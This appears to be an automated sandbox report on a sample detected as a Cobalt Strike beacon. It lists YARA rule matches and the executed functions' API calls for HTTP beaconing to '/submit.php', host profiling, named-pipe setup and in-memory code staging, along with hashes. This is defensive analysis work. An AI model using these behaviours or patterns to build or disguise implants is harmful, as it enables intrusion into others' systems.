00000000.00000002.4126576684.0000000003540000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: CobaltStrike_Unmodifed_Beacon, Description: Detects unmodified CobaltStrike beacon DLL, Source: 00000000.00000002.4126576684.0000000003540000.00000040.00001000.00020000.00000000.sdmp, Author: yara@s3c.za.net Rule: WiltedTulip_ReflectiveLoader, Description: Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip, Source: 00000000.00000002.4126576684.0000000003540000.00000040.00001000.00020000.00000000.sdmp, Author: Florian Roth Rule: Trojan_Raw_Generic_4, Description: unknown, Source: 00000000.00000002.4126576684.0000000003540000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_CobaltStrike, Description: Yara detected CobaltStrike, Source: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CobaltStrike_3, Description: Yara detected CobaltStrike, Source: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_CobaltStrike_ee756db7, Description: Attempts to detect Cobalt Strike based on strings found in BEACON, Source: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_CobaltStrike_663fc95d, Description: Identifies CobaltStrike via unidentified function code, Source: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_CobaltStrike_f0b627fc, Description: Rule for beacon reflective loader, Source: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Beacon_K5om, Description: Detects Meterpreter Beacon - file K5om.dll, Source: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Author: Florian Roth Rule: CobaltStrike_Unmodifed_Beacon, Description: Detects unmodified CobaltStrike beacon DLL, Source: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Author: yara@s3c.za.net Rule: Leviathan_CobaltStrike_Sample_1, Description: Detects Cobalt Strike sample from Leviathan report, Source: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Author: Florian Roth Rule: crime_win32_csbeacon_1, Description: Detects Cobalt Strike loader, Source: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Author: @VK_Intel Rule: WiltedTulip_ReflectiveLoader, Description: Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip, Source: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Author: Florian Roth Rule: MALWARE_Win_CobaltStrike, Description: CobaltStrike payload, Source: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	2%
Dynamic/Decrypted Code Coverage:	72.1%
Signature Coverage:	11.8%
Total number of Nodes:	262
Total number of Limit Nodes:	17

Executed Functions

Function 0099E3A0 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 152
networkfileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_snprintf.LIBCMT ref: 0099E439

Part of subcall function 009AB5DC: _errno.LIBCMT ref: 009AB613
Part of subcall function 009AB5DC: _invalid_parameter_noinfo.LIBCMT ref: 009AB61E

Part of subcall function 009A61A8: _snprintf.LIBCMT ref: 009A6315

_snprintf.LIBCMT ref: 0099E493
_snprintf.LIBCMT ref: 0099E4AA
HttpOpenRequestA.WININET ref: 0099E4EF
HttpSendRequestA.WININET ref: 0099E520
InternetQueryDataAvailable.WININET ref: 0099E550
InternetCloseHandle.WININET ref: 0099E56E
InternetReadFile.WININET ref: 0099E5AA
InternetCloseHandle.WININET ref: 0099E5CB

Strings

*/*, xrefs: 0099E3E0
%s%s, xrefs: 0099E49F

Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: Internet_snprintf$CloseHandleHttpRequest$AvailableDataFileOpenQueryReadSend_errno_invalid_parameter_noinfo
String ID: %s%s$*/*
API String ID: 1419689450-856325523
Opcode ID: 65eb4de1f4f8ae5db4b0ab5bb8916659a9d9aedd41a57e429300d11754b44f1d
Instruction ID: afa78a67d3ed6694d2fddc4470fc08c662859603b561cba97d8ad7ee6e8a193a
Opcode Fuzzy Hash: 65eb4de1f4f8ae5db4b0ab5bb8916659a9d9aedd41a57e429300d11754b44f1d
Instruction Fuzzy Hash: F851DE32700B9186EF20DF26F8407DA77A9F789BA8F404122EE4A57B56EF38C505CB40

Function 00401180 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 196
sleepstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32 ref: 004011E6
SetUnhandledExceptionFilter.KERNEL32 ref: 00401258
malloc.MSVCRT ref: 00401322
strlen.MSVCRT ref: 00401345
malloc.MSVCRT ref: 00401351
memcpy.MSVCRT ref: 00401365
GetStartupInfoA.KERNEL32 ref: 00401463

Strings

@P@, xrefs: 00401231

Memory Dump Source

Source File: 00000000.00000002.4125858105.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4125823781.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4125902897.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4125926800.0000000000405000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4125980244.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7kSftA4Eoh.jbxd

Similarity

API ID: malloc$ExceptionFilterInfoSleepStartupUnhandledmemcpystrlen
String ID: @P@
API String ID: 649803965-1136412694
Opcode ID: b78087a4727109617a980b8b34e7f88b19eb7fde71d655465aeb3eeb3b98bcac
Instruction ID: 0837f65e99a2b31b617579b96e5607858f818787d00fb595da640d4b13c89ff1
Opcode Fuzzy Hash: b78087a4727109617a980b8b34e7f88b19eb7fde71d655465aeb3eeb3b98bcac
Instruction Fuzzy Hash: FB7199B2601B0486EB259F56E99476A33A1F745B88F84803BEF49773A1DF7CC884C748

Function 009A455C Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 116
stringCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 009A4720: malloc.LIBCMT ref: 009A473C

GetUserNameA.ADVAPI32 ref: 009A45E3
GetComputerNameA.KERNEL32 ref: 009A45F6

Part of subcall function 0099EC3C: WSASocketA.WS2_32 ref: 0099EC6A

GetModuleFileNameA.KERNEL32 ref: 009A460F
strrchr.LIBCMT ref: 009A4621
GetVersionExA.KERNEL32 ref: 009A4644
_snprintf.LIBCMT ref: 009A46CF

Strings

%s%s%s, xrefs: 009A46B3

Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: Name$ComputerFileModuleSocketUserVersion_snprintfmallocstrrchr
String ID: %s%s%s
API String ID: 2891912487-1891519693
Opcode ID: ce5c5199ac455a2702fc55bf22ab612559c828583a6684ccfc71f8213d57a0fa
Instruction ID: 1193e19d36976dc9b19a50b40b03a3ac565c052e25fd6eaa0de03f9706c9989e
Opcode Fuzzy Hash: ce5c5199ac455a2702fc55bf22ab612559c828583a6684ccfc71f8213d57a0fa
Instruction Fuzzy Hash: B741F125B0468086EE04FB2AB95576A7796F7CAFE4F444120EE5A0BB66CF7CC442C744

Function 0099D780 Relevance: 10.9, APIs: 7, Instructions: 395
memoryfileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 009A4848: htonl.WS2_32 ref: 009A4865

CreateFileMappingA.KERNEL32 ref: 0099D9C9
MapViewOfFile.KERNEL32 ref: 0099D9EB
CloseHandle.KERNEL32 ref: 0099D9FB
HeapCreate.KERNEL32 ref: 0099DA1A
HeapAlloc.KERNEL32 ref: 0099DA38
VirtualAlloc.KERNEL32 ref: 0099DA5C
GetLastError.KERNEL32 ref: 0099DA6E

Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: AllocCreateFileHeap$CloseErrorHandleLastMappingViewVirtualhtonl
String ID:
API String ID: 1975060083-0
Opcode ID: f2471fb311c3e2377756aaa010f3cf913a226f0250aa5b8a5f28efa326fee5ce
Instruction ID: 47710c7afb5b938a82dfdf16c250b0567d2000a85d5a71ccf537d66da51749a3
Opcode Fuzzy Hash: f2471fb311c3e2377756aaa010f3cf913a226f0250aa5b8a5f28efa326fee5ce
Instruction Fuzzy Hash: EBE1AF77711B4187EB24DB79E8813AA73A1FB99794F088525DB8A97B52EF3CE041C340

Function 00991184 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39
encryptionCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptAcquireContextA.ADVAPI32 ref: 009911B8
CryptAcquireContextA.ADVAPI32 ref: 009911DC
CryptGenRandom.ADVAPI32 ref: 009911F0
CryptReleaseContext.ADVAPI32 ref: 00991204

Strings

Microsoft Base Cryptographic Provider v1.0, xrefs: 009911A2, 009911C6
(, xrefs: 009911D4

Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: Crypt$Context$Acquire$RandomRelease
String ID: ($Microsoft Base Cryptographic Provider v1.0
API String ID: 685801729-4046902070
Opcode ID: 90cbf4bc2dbe3f0299af629219f131cb96157499c0bb3907221978f56546c950
Instruction ID: a4de32cccdd729242628740d51a5ce2f97955261742eb08a563ff8f6726b60a1
Opcode Fuzzy Hash: 90cbf4bc2dbe3f0299af629219f131cb96157499c0bb3907221978f56546c950
Instruction Fuzzy Hash: C401B131708B4182FB10CFAAF888799B765F7D8B98F848025D64987365CFB8CA49C740

Function 00401630 Relevance: 6.0, APIs: 4, Instructions: 50
pipefileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateNamedPipeA.KERNEL32 ref: 0040167C
ConnectNamedPipe.KERNEL32 ref: 00401699
WriteFile.KERNEL32 ref: 004016BC
CloseHandle.KERNEL32 ref: 004016C9

Memory Dump Source

Source File: 00000000.00000002.4125858105.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4125823781.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4125902897.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4125926800.0000000000405000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4125980244.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7kSftA4Eoh.jbxd

Similarity

API ID: NamedPipe$CloseConnectCreateFileHandleWrite
String ID:
API String ID: 2239253087-0
Opcode ID: c91bc22eb4ab6627967eacdcd294d58c4f35a533641819062c461ff4691d2373
Instruction ID: 792960597df4a3593b3ed71ec0f1f42691249fcecf88183cb5a5311cb3ffe816
Opcode Fuzzy Hash: c91bc22eb4ab6627967eacdcd294d58c4f35a533641819062c461ff4691d2373
Instruction Fuzzy Hash: 7311A57171464487E7208B12EC4871B7660B785BA4F588639EF59277E4DF7DC409CB08

Function 004017F8 Relevance: 22.8, APIs: 4, Strings: 9, Instructions: 54
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

malloc.MSVCRT ref: 004017B9
SleepEx.KERNELBASE ref: 004017CD

Part of subcall function 00401704: CreateFileA.KERNEL32 ref: 0040174D
Part of subcall function 00401704: ReadFile.KERNEL32 ref: 00401777
Part of subcall function 00401704: CloseHandle.KERNEL32 ref: 00401784

GetTickCount.KERNEL32 ref: 004017FC
CreateThread.KERNEL32 ref: 00401885

Strings

\, xrefs: 00401811
., xrefs: 00401841
%c%c%c%c%c%c%c%c%cMSSE-%d-server, xrefs: 0040185A
i, xrefs: 00401829
p, xrefs: 00401821
\, xrefs: 00401839
p, xrefs: 00401831
e, xrefs: 00401819
@@, xrefs: 004017AE

Memory Dump Source

Source File: 00000000.00000002.4125858105.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4125823781.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4125902897.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4125926800.0000000000405000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4125980244.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7kSftA4Eoh.jbxd

Similarity

API ID: CreateFile$CloseCountHandleReadSleepThreadTickmalloc
String ID: @@$%c%c%c%c%c%c%c%c%cMSSE-%d-server$.$\$\$e$i$p$p
API String ID: 3660650057-1020837823
Opcode ID: f49c4c9a7e10605904a6a10e00f2c520319c1cb0802325312295c4206e11c210
Instruction ID: b1b191c08856ce7a5ac3e1961f061f1fb3c952ac0291ac520aaac2e6cde2bc09
Opcode Fuzzy Hash: f49c4c9a7e10605904a6a10e00f2c520319c1cb0802325312295c4206e11c210
Instruction Fuzzy Hash: BB11E1B2214A80C6F714DF62F84975BBBA0F384749F44412ADB49277A8CB7CC445CF48

Function 0099CA74 Relevance: 10.8, APIs: 6, Strings: 1, Instructions: 268
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 009A4720: malloc.LIBCMT ref: 009A473C

malloc.LIBCMT ref: 0099CB1E

Part of subcall function 009AB228: _FF_MSGBANNER.LIBCMT ref: 009AB258
Part of subcall function 009AB228: _NMSG_WRITE.LIBCMT ref: 009AB262
Part of subcall function 009AB228: HeapAlloc.KERNEL32 ref: 009AB27D
Part of subcall function 009AB228: _callnewh.LIBCMT ref: 009AB296
Part of subcall function 009AB228: _errno.LIBCMT ref: 009AB2A1
Part of subcall function 009AB228: _errno.LIBCMT ref: 009AB2AC

Part of subcall function 009AAC00: malloc.LIBCMT ref: 009AAC50

Part of subcall function 009AAC00: realloc.LIBCMT ref: 009AAC5F

Part of subcall function 0099EFC0: GetLocalTime.KERNEL32 ref: 0099EFDF

malloc.LIBCMT ref: 0099CC10
_snprintf.LIBCMT ref: 0099CC8E
_snprintf.LIBCMT ref: 0099CCB6
free.LIBCMT ref: 0099CE4B

Part of subcall function 009A5200: GetTickCount.KERNEL32 ref: 009A5212
Part of subcall function 009A5200: GetTickCount.KERNEL32 ref: 009A522A
Part of subcall function 009A5200: GetTickCount.KERNEL32 ref: 009A5748
Part of subcall function 009A5200: GetTickCount.KERNEL32 ref: 009A575E
Part of subcall function 009A5200: shutdown.WS2_32 ref: 009A577D
Part of subcall function 009A5200: shutdown.WS2_32 ref: 009A5792
Part of subcall function 009A5200: closesocket.WS2_32 ref: 009A579C
Part of subcall function 009A5200: free.LIBCMT ref: 009A57BC
Part of subcall function 009A5200: free.LIBCMT ref: 009A57D1

_snprintf.LIBCMT ref: 0099CCDD

Part of subcall function 009AA324: Sleep.KERNEL32 ref: 009AA367
Part of subcall function 009AA324: ExitThread.KERNEL32 ref: 009AA371
Part of subcall function 009AA324: CreateThread.KERNEL32 ref: 009AA396

Strings

/submit.php, xrefs: 0099CCC7, 0099CDA9

Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: CountTickmalloc$_snprintffree$Thread_errnoshutdown$AllocCreateExitHeapLocalSleepTime_callnewhclosesocketrealloc
String ID: /submit.php
API String ID: 864391129-1804779596
Opcode ID: f32a6c39e735c114815da34ed31be4442a001b255392baeff4aaf8f228ef7111
Instruction ID: 56a5bde57ccfc82b830e410fac2a010b46cb16021ee67dd7187f22aff7d76dda
Opcode Fuzzy Hash: f32a6c39e735c114815da34ed31be4442a001b255392baeff4aaf8f228ef7111
Instruction Fuzzy Hash: 3991C03170024187DF14FFB9A8527AE3395BBD6784F904429BE4A87B96DF38C909C791

Function 000D0128 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 87
memoryfilenetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE ref: 000D0328
InternetReadFile.WININET(000D0136,000D0136), ref: 000D0346

Strings

U.;, xrefs: 000D013E

Memory Dump Source

Source File: 00000000.00000002.4125434545.00000000000D0000.00000020.00001000.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d0000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: AllocFileInternetReadVirtual
String ID: U.;
API String ID: 3591508208-4213443877
Opcode ID: d48c2d9fb8955299c963e91b26be717bbe84ba6b4bf8f8c02f85d3d37a0ae8aa
Instruction ID: e093d90e11704a09136074875a9385388f860374ac695588df902a519100a8e3
Opcode Fuzzy Hash: d48c2d9fb8955299c963e91b26be717bbe84ba6b4bf8f8c02f85d3d37a0ae8aa
Instruction Fuzzy Hash: 66116D6034990D0BE66895AE7C9A73A11CAD7D8765F24823FB40EC33D9ED54CC83816A

Function 000D00D2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42
librarynetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 000D00ED
InternetOpenA.WININET(00000000,00000000), ref: 000D0105

Strings

wini, xrefs: 000D00D6

Memory Dump Source

Source File: 00000000.00000002.4125434545.00000000000D0000.00000020.00001000.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d0000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: InternetLibraryLoadOpen
String ID: wini
API String ID: 2559873147-1606035523
Opcode ID: 371bfa33e720023473f7d1b57c4fdab5f43ae4f0dd8e10e8118ab3ec3442ea05
Instruction ID: 3a87a5131821d0ddbc4c84022818a1b3a98ae8a190d023c930f00ac223b6326d
Opcode Fuzzy Hash: 371bfa33e720023473f7d1b57c4fdab5f43ae4f0dd8e10e8118ab3ec3442ea05
Instruction Fuzzy Hash: C1F0204051C7D92AE32D2938681A3377A89C787305F288AAFE0CBC2683C8510C4280B6

Function 0099EC3C Relevance: 4.6, APIs: 3, Instructions: 66
networkCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0099ED34: WSAStartup.WS2_32 ref: 0099ED52

WSASocketA.WS2_32 ref: 0099EC6A
WSAIoctl.WS2_32 ref: 0099ECB7
closesocket.WS2_32 ref: 0099ED16

Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: IoctlSocketStartupclosesocket
String ID:
API String ID: 365704328-0
Opcode ID: 952a6e3a5161aab294e5687c842b6be410eeabfc0734eca94b1b33ec9b4c3f50
Instruction ID: c6998820aeb3eb6717c5563c6d241ee598cd2f4ad0746d86bc973b69a6a7364d
Opcode Fuzzy Hash: 952a6e3a5161aab294e5687c842b6be410eeabfc0734eca94b1b33ec9b4c3f50
Instruction Fuzzy Hash: D121927270478482EB20CF28B54079AB799F7887E8F544625EE9D43B89DB3DC5458B00

Function 00401595 Relevance: 4.5, APIs: 3, Instructions: 47
memorythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32 ref: 004015BC
VirtualProtect.KERNEL32 ref: 004015F6
CreateThread.KERNEL32 ref: 0040161B

Memory Dump Source

Source File: 00000000.00000002.4125858105.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4125823781.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4125902897.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4125926800.0000000000405000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4125980244.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7kSftA4Eoh.jbxd

Similarity

API ID: Virtual$AllocCreateProtectThread
String ID:
API String ID: 3039780055-0
Opcode ID: 4aacca1e8eccfaf740ded84acdafb972c0e8b5e828dd24c9fd05ba3d77ec4f75
Instruction ID: a871edb487987511a762a7aedd3aa3d9a3b96542bc8ba466cbe2f33faf2e38cc
Opcode Fuzzy Hash: 4aacca1e8eccfaf740ded84acdafb972c0e8b5e828dd24c9fd05ba3d77ec4f75
Instruction Fuzzy Hash: 3D012B9231558051E7249B73AC08B9AAA91A38DBC9F48C139EF4B5BBA5DA3CC505C708

Function 00401704 Relevance: 4.5, APIs: 3, Instructions: 45
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNEL32 ref: 0040174D
ReadFile.KERNEL32 ref: 00401777
CloseHandle.KERNEL32 ref: 00401784

Memory Dump Source

Source File: 00000000.00000002.4125858105.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4125823781.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4125902897.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4125926800.0000000000405000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4125980244.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7kSftA4Eoh.jbxd

Similarity

API ID: File$CloseCreateHandleRead
String ID:
API String ID: 1035965006-0
Opcode ID: a9a6f3105b428fa11eb0a8b9509746e60382a865a5325daa86df34bad7210379
Instruction ID: 40b2c8f30f00ef97869f90130fa51706c158e82a26dd4cfec866ebc6162fc2d5
Opcode Fuzzy Hash: a9a6f3105b428fa11eb0a8b9509746e60382a865a5325daa86df34bad7210379
Instruction Fuzzy Hash: 2101F77531460186E7219B16F90471776A0B394BA4F648339EFA917BD4DB7DC50ACB08

Function 000D0109 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 64
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetConnectA.WININET(00000003,00000003,00000002,00000001), ref: 000D0124

Strings

U.;, xrefs: 000D013E

Memory Dump Source

Source File: 00000000.00000002.4125434545.00000000000D0000.00000020.00001000.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d0000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: ConnectInternet
String ID: U.;
API String ID: 3050416762-4213443877
Opcode ID: 6461e000310a584dadf843701745a51b7c54c1a02fe81d3d8c993301fa1bf7ef
Instruction ID: 6127167accb197b00c8a3c83219f0d44e8510ba1f26c2e76f8ff358ac84f4210
Opcode Fuzzy Hash: 6461e000310a584dadf843701745a51b7c54c1a02fe81d3d8c993301fa1bf7ef
Instruction Fuzzy Hash: 5C01F2503B8A882EE66C862C6C1BB3B22CDC7C5726B24D36FF14BC22C7E8408C434529

Function 000D02EB Relevance: 3.1, APIs: 2, Instructions: 67
memoryfilenetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE ref: 000D0328
InternetReadFile.WININET(000D0136,000D0136), ref: 000D0346

Memory Dump Source

Source File: 00000000.00000002.4125434545.00000000000D0000.00000020.00001000.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d0000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: AllocFileInternetReadVirtual
String ID:
API String ID: 3591508208-0
Opcode ID: 787ed7849923a0638b55286bb4b0c9b8b3b55a8494a6a148c50ba00b0fa82116
Instruction ID: 08c6e0097d16fd9d5bf4d43ade2cd5ca3a3f1cf240245f266af754fa7a215f6d
Opcode Fuzzy Hash: 787ed7849923a0638b55286bb4b0c9b8b3b55a8494a6a148c50ba00b0fa82116
Instruction Fuzzy Hash: C901F56124D6CA0FD31AA6A96C613AA26D9DB59358F2800AFE04CC7287DA59CD438329

Function 009A1458 Relevance: 3.1, APIs: 2, Instructions: 57memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

htonl.WS2_32 ref: 009A148C
VirtualProtect.KERNEL32 ref: 009A151B

Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: ProtectVirtualhtonl
String ID:
API String ID: 2902677218-0
